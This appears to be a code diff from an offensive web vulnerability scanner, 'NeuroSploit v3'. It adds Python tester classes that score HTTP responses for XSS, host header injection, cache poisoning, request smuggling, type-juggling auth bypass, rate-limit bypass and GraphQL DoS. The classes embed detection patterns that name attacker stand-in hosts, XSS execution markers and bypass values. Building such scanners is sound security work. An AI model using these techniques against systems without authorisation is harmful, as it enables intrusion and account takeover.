django_patterns = [
r"You\'re seeing this error because you have <code>DEBUG = True</code>",
r"Django Version:",
r"Traceback.*django",
r"INSTALLED_APPS",
r"settings\.py",
]
for pattern in django_patterns:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.9, "Debug mode: Django debug page exposed"
# Generic stack traces with source paths
stack_trace_patterns = [
r"(?:File|at)\s+[\"']?(?:/[a-z]+/|C:\\)[^\s\"']+\.(?:py|php|rb|js|java|go)\b",
r"Traceback \(most recent call last\)",
r"Stack trace:.*(?:\.php|\.py|\.rb|\.java)",
r"(?:Error|Exception)\s+in\s+(?:/[a-z]+/|C:\\)[^\s]+:\d+",
]
for pattern in stack_trace_patterns:
if re.search(pattern, response_body, re.IGNORECASE | re.DOTALL):
return True, 0.8, "Debug mode: Stack trace with source file paths exposed"
# ASP.NET detailed errors
if re.search(r"Server Error in '/' Application", response_body):
return True, 0.85, "Debug mode: ASP.NET detailed error page exposed"
return False, 0.0, None
class ExposedAdminPanelTester(BaseTester):
"""Tester for Publicly Accessible Admin Panel"""
def __init__(self):
super().__init__()
self.name = "exposed_admin_panel"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for admin login pages accessible publicly"""
if response_status == 200:
admin_panel_patterns = [
(r"(?:admin|administrator)\s+(?:login|panel|dashboard|console)", "admin login page"),
(r"<title>[^<]*(?:admin|dashboard|control\s*panel|cms)[^<]*</title>", "admin title"),
(r"wp-login\.php", "WordPress login"),
(r"wp-admin", "WordPress admin"),
(r"/admin/login", "admin login endpoint"),
(r"phpmyadmin", "phpMyAdmin"),
(r"adminer\.php", "Adminer"),
(r"cPanel", "cPanel"),
(r"Webmin", "Webmin"),
(r"Plesk", "Plesk"),
(r"joomla.*administrator", "Joomla admin"),
(r"drupal.*user/login", "Drupal admin login"),
]
for pattern, panel_name in admin_panel_patterns:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.75, f"Exposed admin panel: {panel_name} accessible publicly"
return False, 0.0, None
class ExposedApiDocsTester(BaseTester):
"""Tester for Publicly Accessible API Documentation"""
def __init__(self):
super().__init__()
self.name = "exposed_api_docs"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for Swagger/OpenAPI documentation pages"""
if response_status == 200:
api_docs_patterns = [
(r"swagger-ui", "Swagger UI"),
(r'"swagger"\s*:\s*"[0-9.]+"', "Swagger spec"),
(r'"openapi"\s*:\s*"[0-9.]+"', "OpenAPI spec"),
(r"swagger-ui-bundle\.js", "Swagger UI bundle"),
(r"<title>Swagger UI</title>", "Swagger UI page"),
(r"redoc", "ReDoc API docs"),
(r"api-docs", "API documentation"),
(r"graphiql", "GraphiQL interface"),
(r"GraphQL Playground", "GraphQL Playground"),
(r'"paths"\s*:\s*\{', "OpenAPI paths object"),
(r'"info"\s*:\s*\{.*"title"\s*:', "OpenAPI info object"),
]
for pattern, doc_type in api_docs_patterns:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.8, f"Exposed API docs: {doc_type} publicly accessible"
# Check content type for JSON API specs
content_type = response_headers.get("Content-Type", "")
if "json" in content_type.lower():
if re.search(r'"paths"\s*:\s*\{.*"(?:get|post|put|delete)"', response_body, re.DOTALL):
return True, 0.85, "Exposed API docs: OpenAPI/Swagger JSON specification exposed"
return False, 0.0, None
class InsecureCookieFlagsTester(BaseTester):
"""Tester for Missing Secure/HttpOnly/SameSite Cookie Flags"""
def __init__(self):
super().__init__()
self.name = "insecure_cookie_flags"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check Set-Cookie headers for missing security flags"""
# Collect all Set-Cookie headers
set_cookie_values = []
for key, value in response_headers.items():
if key.lower() == "set-cookie":
if isinstance(value, list):
set_cookie_values.extend(value)
else:
set_cookie_values.append(value)
if not set_cookie_values:
return False, 0.0, None
issues = []
for cookie in set_cookie_values:
cookie_lower = cookie.lower()
cookie_name = cookie.split("=")[0].strip()
# Session cookies are more critical
is_session = any(
s in cookie_name.lower()
for s in ["session", "sess", "sid", "token", "auth", "jwt", "csrf"]
)
missing_flags = []
if "secure" not in cookie_lower:
missing_flags.append("Secure")
if "httponly" not in cookie_lower:
missing_flags.append("HttpOnly")
if "samesite" not in cookie_lower:
missing_flags.append("SameSite")
if missing_flags:
severity = "session cookie" if is_session else "cookie"
issues.append(f"{cookie_name} ({severity}): missing {', '.join(missing_flags)}")
if issues:
confidence = 0.8 if any("session cookie" in i for i in issues) else 0.6
return True, confidence, f"Insecure cookie flags: {'; '.join(issues[:3])}"
return False, 0.0, None
class HttpSmugglingTester(BaseTester):
"""Tester for HTTP Request Smuggling (CL/TE discrepancy)"""
def __init__(self):
super().__init__()
self.name = "http_smuggling"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for CL/TE discrepancy indicators"""
# Check for request smuggling indicators
smuggling_indicators = [
# Different response than expected
(r"400 Bad Request.*(?:Content-Length|Transfer-Encoding)", "CL/TE parsing error"),
(r"(?:invalid|malformed)\s+(?:chunk|transfer.encoding)", "chunked encoding error"),
]
for pattern, desc in smuggling_indicators:
if re.search(pattern, response_body, re.IGNORECASE | re.DOTALL):
return True, 0.7, f"HTTP smuggling indicator: {desc}"
# Check for dual Transfer-Encoding handling
te_header = response_headers.get("Transfer-Encoding", "")
cl_header = response_headers.get("Content-Length", "")
if te_header and cl_header:
return True, 0.75, "HTTP smuggling: Both Transfer-Encoding and Content-Length in response"
# Check for timeout-based detection (context)
if context.get("response_time_ms", 0) > 10000:
if "transfer-encoding" in payload.lower() or "content-length" in payload.lower():
return True, 0.6, "HTTP smuggling: Abnormal response delay with CL/TE payload"
# Check for response desync indicators
if response_status == 0 or context.get("connection_reset"):
return True, 0.65, "HTTP smuggling: Connection reset/timeout with smuggling payload"
return False, 0.0, None
class CachePoisoningTester(BaseTester):
"""Tester for Web Cache Poisoning"""
def __init__(self):
super().__init__()
self.name = "cache_poisoning"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for cached response with injected unkeyed input"""
if response_status == 200:
# Check for cache headers indicating response was cached
cache_indicators = {
"X-Cache": response_headers.get("X-Cache", ""),
"CF-Cache-Status": response_headers.get("CF-Cache-Status", ""),
"Age": response_headers.get("Age", ""),
"X-Varnish": response_headers.get("X-Varnish", ""),
}
is_cached = False
for header, value in cache_indicators.items():
if value:
if any(hit in value.upper() for hit in ["HIT", "STALE"]):
is_cached = True
break
if header == "Age" and int(value or 0) > 0:
is_cached = True
break
# Check if our unkeyed input is reflected in the cached response
if is_cached or response_headers.get("Cache-Control", ""):
# Common unkeyed headers that might be reflected
unkeyed_indicators = [
r"X-Forwarded-Host", r"X-Forwarded-Scheme",
r"X-Original-URL", r"X-Rewrite-URL",
]
if payload in response_body:
if is_cached:
return True, 0.9, "Cache poisoning: Injected unkeyed input reflected in cached response"
else:
return True, 0.7, "Cache poisoning: Unkeyed input reflected - verify caching"
# Check for Vary header missing expected values
vary = response_headers.get("Vary", "")
cache_control = response_headers.get("Cache-Control", "")
if "no-store" not in cache_control and "private" not in cache_control:
if payload in response_body:
return True, 0.6, "Cache poisoning potential: Input reflected in cacheable response"
return False, 0.0, None
+92 -21
View File
@@ -35,20 +35,15 @@ class XSSReflectedTester(BaseTester):
# Check if payload is reflected
if payload in response_body:
# Check if it's in a dangerous context
dangerous_patterns = [
rf'<script[^>]*>{re.escape(payload)}',
rf'on\w+\s*=\s*["\']?{re.escape(payload)}',
rf'javascript:\s*{re.escape(payload)}',
rf'<[^>]+{re.escape(payload)}[^>]*>',
]
for pattern in dangerous_patterns:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.9, f"XSS payload reflected in dangerous context: {pattern}"
# Payload reflected but possibly encoded
return True, 0.7, "XSS payload reflected in response"
# Use context-aware analysis to determine execution position
from backend.core.xss_context_analyzer import analyze_xss_execution_context
ctx = analyze_xss_execution_context(response_body, payload)
if ctx["executable"]:
return True, 0.95, f"XSS payload in auto-executing context: {ctx['detail']}"
elif ctx["interactive"]:
return True, 0.85, f"XSS payload in interactive context: {ctx['detail']}"
# Reflected but not in executable position
return True, 0.5, f"XSS payload reflected but {ctx['context']}: {ctx['detail']}"
# Check for partial reflection (script tags, etc.)
for marker in self.markers:
@@ -59,11 +54,21 @@ class XSSReflectedTester(BaseTester):
class XSSStoredTester(BaseTester):
"""Tester for Stored XSS vulnerabilities"""
"""Tester for Stored XSS vulnerabilities.
Supports two-phase verification:
Phase 1: analyze_response() - Check if submission succeeded (data stored)
Phase 2: analyze_display_response() - Check if payload executes on display page
"""
def __init__(self):
super().__init__()
self.name = "xss_stored"
self.storage_indicators = [
"success", "created", "saved", "posted", "submitted",
"thank", "comment", "added", "published", "updated",
"your comment", "your post", "your message",
]
def analyze_response(
self,
@@ -73,12 +78,78 @@ class XSSStoredTester(BaseTester):
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for stored XSS - requires subsequent request verification"""
# For stored XSS, we need to check if data was stored
# This is a simplified check - full implementation would verify on retrieval
if response_status in [200, 201, 302]:
if "success" in response_body.lower() or "created" in response_body.lower():
return True, 0.5, "Data possibly stored - verify retrieval for stored XSS"
"""Phase 1: Check if payload was likely stored.
Returns confidence 0.3-0.5 for storage-only confirmation.
Full confirmation requires Phase 2 (analyze_display_response).
"""
body_lower = response_body.lower()
# Redirect after POST is a common form submission pattern
if response_status in [301, 302, 303]:
return True, 0.4, "Redirect after submission - payload likely stored"
if response_status in [200, 201]:
# Check for storage success indicators
for indicator in self.storage_indicators:
if indicator in body_lower:
return True, 0.4, f"Storage indicator found: '{indicator}'"
# Check if payload is reflected in the same response (immediate display)
if payload in response_body:
dangerous = [
"<script", "onerror=", "onload=", "onclick=", "onfocus=",
"onmouseover=", "<svg", "<img", "<iframe", "javascript:"
]
payload_lower = payload.lower()
for ctx in dangerous:
if ctx in payload_lower:
return True, 0.8, f"Stored XSS: payload reflected in dangerous context ({ctx})"
return True, 0.6, "Payload reflected in submission response"
# POST returning 200 often means submission accepted
if response_status == 200 and context.get("method") == "POST":
return True, 0.3, "POST returned 200 - submission possibly accepted"
return False, 0.0, None
def analyze_display_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Phase 2: Verify payload executes on the display page.
Called after navigating to the page where stored content is rendered.
"""
if response_status >= 400:
return False, 0.0, None
# Check if payload exists unescaped in display page
if payload in response_body:
# Use context-aware analysis to determine execution position
from backend.core.xss_context_analyzer import analyze_xss_execution_context
ctx = analyze_xss_execution_context(response_body, payload)
if ctx["executable"]:
return True, 0.95, f"Stored XSS confirmed: {ctx['detail']}"
elif ctx["interactive"]:
return True, 0.90, f"Stored XSS (interaction required): {ctx['detail']}"
# Payload present but not executable
return True, 0.5, f"Stored payload on display page but {ctx['context']}: {ctx['detail']}"
# Check for core execution markers even if full payload is modified
core_markers = [
"alert(1)", "alert(document.domain)", "onerror=alert",
"onload=alert", "onfocus=alert", "ontoggle=alert",
]
body_lower = response_body.lower()
for marker in core_markers:
if marker in payload.lower() and marker in body_lower:
return True, 0.85, f"Stored XSS: execution marker '{marker}' found on display page"
return False, 0.0, None
+457
View File
@@ -0,0 +1,457 @@
"""
NeuroSploit v3 - Logic and Protocol Vulnerability Testers
Testers for race conditions, business logic, rate limiting, parameter pollution,
type juggling, timing attacks, host header injection, HTTP smuggling, cache poisoning.
"""
import re
from typing import Tuple, Dict, Optional
from backend.core.vuln_engine.testers.base_tester import BaseTester
class RaceConditionTester(BaseTester):
"""Tester for Race Condition vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "race_condition"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for duplicate operation success indicators"""
body_lower = response_body.lower()
# Multiple success responses from concurrent requests
if context.get("concurrent_successes", 0) > 1:
return True, 0.85, f"Race condition: {context['concurrent_successes']} concurrent requests succeeded"
# Double-spend / duplicate operation indicators
duplicate_indicators = [
"already processed", "duplicate", "already exists",
"already applied", "already redeemed",
]
# If we got a success despite expected duplicate check
if response_status in [200, 201]:
success_words = ["success", "created", "processed", "applied", "completed", "confirmed"]
if any(w in body_lower for w in success_words):
if context.get("request_count", 0) > 1:
return True, 0.7, "Race condition: operation succeeded multiple times"
# Check for resource count discrepancy
if "balance" in body_lower or "quantity" in body_lower or "count" in body_lower:
numbers = re.findall(r'"(?:balance|quantity|count|amount)"\s*:\s*(-?\d+\.?\d*)', response_body)
if numbers and context.get("expected_value") is not None:
try:
actual = float(numbers[0])
expected = float(context["expected_value"])
if actual != expected:
return True, 0.75, f"Race condition: value mismatch (expected {expected}, got {actual})"
except (ValueError, IndexError):
pass
return False, 0.0, None
class BusinessLogicTester(BaseTester):
"""Tester for Business Logic vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "business_logic"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for business logic bypass indicators"""
body_lower = response_body.lower()
# Negative value acceptance
if re.search(r"-\d+", payload):
if response_status == 200:
if any(w in body_lower for w in ["success", "accepted", "processed", "approved"]):
return True, 0.8, "Business logic: negative value accepted"
# Check for negative pricing
if re.search(r'"(?:total|price|amount)"\s*:\s*-\d+', response_body):
return True, 0.9, "Business logic: negative price/amount in response"
# Zero-value bypass
if payload.strip() in ["0", "0.00", "0.0"]:
if response_status == 200 and "success" in body_lower:
return True, 0.75, "Business logic: zero value accepted for transaction"
# Workflow step skip
if context.get("skipped_step"):
if response_status == 200:
return True, 0.7, f"Business logic: step '{context['skipped_step']}' was skippable"
# Discount/coupon abuse
if "coupon" in payload.lower() or "discount" in payload.lower():
if re.search(r'"discount"\s*:\s*(?:100|[1-9]\d{2,})', response_body):
return True, 0.8, "Business logic: excessive discount applied"
# Role/privilege escalation via parameter
if any(w in payload.lower() for w in ["admin", "role=admin", "is_admin=true", "privilege"]):
if response_status == 200 and "admin" in body_lower:
return True, 0.6, "Business logic: privilege escalation parameter accepted"
return False, 0.0, None
class RateLimitBypassTester(BaseTester):
"""Tester for Rate Limit Bypass vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "rate_limit_bypass"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for continued success after many requests (bypass)"""
headers_lower = {k.lower(): v for k, v in response_headers.items()}
# After many requests, still getting 200
request_count = context.get("request_count", 0)
if request_count > 50 and response_status == 200:
# Check rate limit headers
remaining = headers_lower.get("x-ratelimit-remaining",
headers_lower.get("x-rate-limit-remaining",
headers_lower.get("ratelimit-remaining")))
if remaining is not None:
try:
if int(remaining) > 0:
return True, 0.6, f"Rate limit not enforced after {request_count} requests (remaining: {remaining})"
except ValueError:
pass
else:
# No rate limit headers at all
return True, 0.7, f"No rate limiting detected after {request_count} requests"
# Rate limit bypass via header manipulation
bypass_headers = ["x-forwarded-for", "x-real-ip", "x-originating-ip", "x-client-ip"]
if any(h in payload.lower() for h in bypass_headers):
if response_status == 200 and context.get("was_rate_limited"):
return True, 0.85, "Rate limit bypassed via IP spoofing header"
# Check if 429 was expected but got 200
if context.get("expected_429") and response_status == 200:
return True, 0.8, "Expected 429 (rate limited) but received 200"
return False, 0.0, None
class ParameterPollutionTester(BaseTester):
"""Tester for HTTP Parameter Pollution vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "parameter_pollution"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for different behavior with duplicate parameters"""
# Compare response with baseline (single param)
if "baseline_body" in context and "baseline_status" in context:
baseline_len = len(context["baseline_body"])
current_len = len(response_body)
diff = abs(current_len - baseline_len)
# Significant response difference
if diff > 200:
return True, 0.7, f"Parameter pollution: response differs by {diff} bytes from baseline"
# Status code difference
if response_status != context["baseline_status"]:
return True, 0.75, f"Parameter pollution: status changed from {context['baseline_status']} to {response_status}"
# Check if attacker-controlled value was used
if "neurosploit" in payload and "neurosploit" in response_body:
if context.get("original_value") and context["original_value"] not in response_body:
return True, 0.8, "Parameter pollution: attacker value used instead of original"
# WAF bypass via duplicate params
if context.get("waf_blocked_original") and response_status == 200:
return True, 0.8, "Parameter pollution: WAF bypass - blocked payload succeeded with duplicate params"
return False, 0.0, None
class TypeJugglingTester(BaseTester):
"""Tester for Type Juggling / Type Coercion vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "type_juggling"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for auth bypass with type coercion"""
body_lower = response_body.lower()
# Type juggling payloads
juggling_values = ["0", "true", "false", "null", "[]", "{}", "0e123", "0e999"]
if payload.strip() in juggling_values or payload.strip().startswith("0e"):
# Auth bypass
if response_status == 200:
auth_success = [
"authenticated", "logged in", "welcome", "dashboard",
"token", "session", "success",
]
for indicator in auth_success:
if indicator in body_lower:
return True, 0.8, f"Type juggling: auth bypass with '{payload.strip()}' - '{indicator}' in response"
# JWT/token accepted
if "jwt" in body_lower or "bearer" in body_lower:
if response_status == 200:
return True, 0.7, f"Type juggling: token accepted with value '{payload.strip()}'"
# Magic hash comparison bypass (0e strings)
if re.match(r"0e\d+", payload.strip()):
if response_status == 200 and any(w in body_lower for w in ["match", "equal", "valid", "correct"]):
return True, 0.85, f"Type juggling: magic hash bypass with '{payload.strip()}'"
# Array vs string comparison
if payload.strip() in ["[]", "Array"]:
if response_status == 200 and "success" in body_lower:
return True, 0.7, "Type juggling: array comparison bypass"
return False, 0.0, None
class TimingAttackTester(BaseTester):
"""Tester for Timing Attack vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "timing_attack"
def check_timeout_vulnerability(self, vuln_type: str) -> bool:
"""Timing attacks are detected via response time differences"""
return True
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check response time differences for timing side channels"""
# Primary detection is via response timing (handled by engine)
response_time = context.get("response_time_ms", 0)
baseline_time = context.get("baseline_time_ms", 0)
if response_time > 0 and baseline_time > 0:
diff = response_time - baseline_time
# Significant timing difference (> 100ms)
if diff > 100:
return True, 0.7, f"Timing attack: {diff}ms difference (baseline: {baseline_time}ms, actual: {response_time}ms)"
# Very significant (> 500ms)
if diff > 500:
return True, 0.9, f"Timing attack: {diff}ms difference strongly indicates character-by-character comparison"
# Check for timing via multiple measurements
if "timing_samples" in context:
samples = context["timing_samples"]
if len(samples) >= 2:
max_diff = max(samples) - min(samples)
if max_diff > 200:
return True, 0.65, f"Timing attack: {max_diff}ms variance across samples"
return False, 0.0, None
class HostHeaderInjectionTester(BaseTester):
"""Tester for Host Header Injection vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "host_header_injection"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for Host value reflected in response links/URLs"""
body_lower = response_body.lower()
# Injected host appearing in response
evil_hosts = ["evil.com", "attacker.com", "neurosploit.test", "canary.host"]
for host in evil_hosts:
if host in payload.lower() and host in body_lower:
# High confidence if in URL context
url_contexts = [
rf'https?://{re.escape(host)}',
rf'href\s*=\s*["\'][^"\']*{re.escape(host)}',
rf'action\s*=\s*["\'][^"\']*{re.escape(host)}',
rf'redirect.*{re.escape(host)}',
]
for pattern in url_contexts:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.9, f"Host header injection: '{host}' reflected in URL context"
return True, 0.7, f"Host header injection: '{host}' reflected in response body"
# X-Forwarded-Host injection
if "x-forwarded-host" in payload.lower():
headers_lower = {k.lower(): v for k, v in response_headers.items()}
location = headers_lower.get("location", "")
if any(h in location.lower() for h in evil_hosts):
return True, 0.9, "Host header injection: X-Forwarded-Host reflected in redirect"
# Password reset link poisoning
if context.get("is_password_reset") and response_status == 200:
for host in evil_hosts:
if host in body_lower:
return True, 0.95, f"Host header injection in password reset: link points to '{host}'"
return False, 0.0, None
class HttpSmugglingTester(BaseTester):
"""Tester for HTTP Request Smuggling vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "http_smuggling"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for HTTP smuggling indicators"""
headers_lower = {k.lower(): v for k, v in response_headers.items()}
# Response splitting - two HTTP responses in one
if re.search(r"HTTP/\d\.\d\s+\d{3}", response_body):
return True, 0.85, "HTTP smuggling: embedded HTTP response in body (response splitting)"
# Conflicting Content-Length and Transfer-Encoding
has_cl = "content-length" in headers_lower
has_te = "transfer-encoding" in headers_lower
if has_cl and has_te:
return True, 0.7, "HTTP smuggling: both Content-Length and Transfer-Encoding present"
# CL.TE or TE.CL desync indicators
if context.get("desync_detected"):
return True, 0.9, "HTTP smuggling: request desync confirmed"
# Unexpected response to smuggled second request
if "smuggle_marker" in context:
marker = context["smuggle_marker"]
if marker in response_body:
return True, 0.85, f"HTTP smuggling: smuggled request marker '{marker}' in response"
# Different status than expected (frontend vs backend disagreement)
if context.get("expected_status") and response_status != context["expected_status"]:
if response_status in [400, 403] and context["expected_status"] == 200:
return True, 0.5, f"HTTP smuggling: status mismatch (expected {context['expected_status']}, got {response_status})"
# Timeout on second request (queued/poisoned)
if context.get("second_request_timeout"):
return True, 0.7, "HTTP smuggling: second request timed out (possible queue poisoning)"
return False, 0.0, None
def check_timeout_vulnerability(self, vuln_type: str) -> bool:
"""Smuggling can cause timeouts on subsequent requests"""
return True
class CachePoisoningTester(BaseTester):
"""Tester for Web Cache Poisoning vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "cache_poisoning"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for cache poisoning - injected content served from cache"""
headers_lower = {k.lower(): v for k, v in response_headers.items()}
# Check for cache hit with injected content
cache_hit = False
cache_headers = ["x-cache", "cf-cache-status", "x-varnish", "x-drupal-cache",
"x-proxy-cache", "x-cdn-cache"]
for header in cache_headers:
value = headers_lower.get(header, "").lower()
if "hit" in value:
cache_hit = True
break
# Age header indicates cached response
age = headers_lower.get("age")
if age and age != "0":
cache_hit = True
if cache_hit:
# Check if our injected content is in the cached response
injection_markers = ["neurosploit", "xss", "evil.com", "attacker"]
for marker in injection_markers:
if marker in payload.lower() and marker in response_body.lower():
return True, 0.9, f"Cache poisoning: injected content '{marker}' served from cache"
# Unkeyed header reflected in response (potential cache poison vector)
unkeyed_headers = ["x-forwarded-host", "x-forwarded-scheme", "x-original-url",
"x-rewrite-url", "x-forwarded-prefix"]
for header in unkeyed_headers:
if header in payload.lower():
# Check if the value appears in response
for marker in ["evil.com", "neurosploit", "attacker"]:
if marker in payload.lower() and marker in response_body.lower():
cache_status = "cached" if cache_hit else "uncached"
confidence = 0.85 if cache_hit else 0.5
return True, confidence, f"Cache poisoning: unkeyed header '{header}' reflected ({cache_status})"
# Cache deception check
if context.get("is_cache_deception_test"):
if cache_hit and ("token" in response_body.lower() or "session" in response_body.lower()):
return True, 0.8, "Cache deception: sensitive data cached via path confusion"
return False, 0.0, None
@@ -97,3 +97,115 @@ class CSRFTester(BaseTester):
return True, 0.7, "No CSRF token found in form - possible CSRF"
return False, 0.0, None
class GraphqlIntrospectionTester(BaseTester):
"""Tester for GraphQL Introspection exposure"""
def __init__(self):
super().__init__()
self.name = "graphql_introspection"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for __schema data in response indicating introspection is enabled"""
if response_status == 200:
# Direct __schema indicators
schema_patterns = [
r'"__schema"\s*:\s*\{',
r'"__type"\s*:\s*\{',
r'"queryType"\s*:\s*\{',
r'"mutationType"\s*:\s*\{',
r'"subscriptionType"\s*:',
r'"types"\s*:\s*\[.*"name"\s*:\s*"__',
r'"directives"\s*:\s*\[.*"name"\s*:',
]
for pattern in schema_patterns:
if re.search(pattern, response_body, re.IGNORECASE | re.DOTALL):
return True, 0.9, "GraphQL introspection: Full schema exposed via __schema query"
# Check for type listings
type_listing_patterns = [
r'"kind"\s*:\s*"(?:OBJECT|SCALAR|ENUM|INPUT_OBJECT|INTERFACE|UNION)"',
r'"fields"\s*:\s*\[.*"name"\s*:.*"type"\s*:',
r'"inputFields"\s*:\s*\[',
r'"enumValues"\s*:\s*\[',
]
type_match_count = sum(
1 for p in type_listing_patterns
if re.search(p, response_body, re.IGNORECASE | re.DOTALL)
)
if type_match_count >= 2:
return True, 0.85, "GraphQL introspection: Type schema data exposed"
# Check for field suggestions (partial introspection)
if re.search(r'"(?:message|errors)".*"Did you mean.*"', response_body):
return True, 0.6, "GraphQL introspection: Field suggestions leak schema information"
return False, 0.0, None
class GraphqlDosTester(BaseTester):
"""Tester for GraphQL Denial of Service via deeply nested queries"""
def __init__(self):
super().__init__()
self.name = "graphql_dos"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for slow response with deeply nested queries indicating DoS potential"""
# Check response time for nested query DoS
response_time_ms = context.get("response_time_ms", 0)
# Nested query indicators in payload
nesting_indicators = [
payload.count("{") > 5,
"__typename" in payload and payload.count("__typename") > 3,
"fragment" in payload.lower() and "..." in payload,
]
is_nested_payload = any(nesting_indicators)
if is_nested_payload:
# Very slow response indicates resource exhaustion
if response_time_ms > 10000: # > 10 seconds
return True, 0.85, f"GraphQL DoS: Deeply nested query caused {response_time_ms}ms response time"
if response_time_ms > 5000: # > 5 seconds
return True, 0.7, f"GraphQL DoS: Nested query caused slow response ({response_time_ms}ms)"
# Check for timeout/error responses
if response_status in [408, 504, 502]:
if is_nested_payload:
return True, 0.8, "GraphQL DoS: Server timeout on deeply nested query"
# Check for resource limit errors (server has some protection but confirms issue)
resource_errors = [
r"query.*(?:too complex|too deep|exceeds.*(?:depth|complexity))",
r"max.*(?:depth|complexity).*(?:exceeded|reached)",
r"(?:depth|complexity)\s+limit",
r"query.*(?:cost|weight).*exceeded",
]
for pattern in resource_errors:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.5, "GraphQL DoS: Depth/complexity limits exist but confirm nested queries are processed"
# Server error on complex query
if response_status == 500 and is_nested_payload:
return True, 0.65, "GraphQL DoS: Server error on deeply nested query"
return False, 0.0, None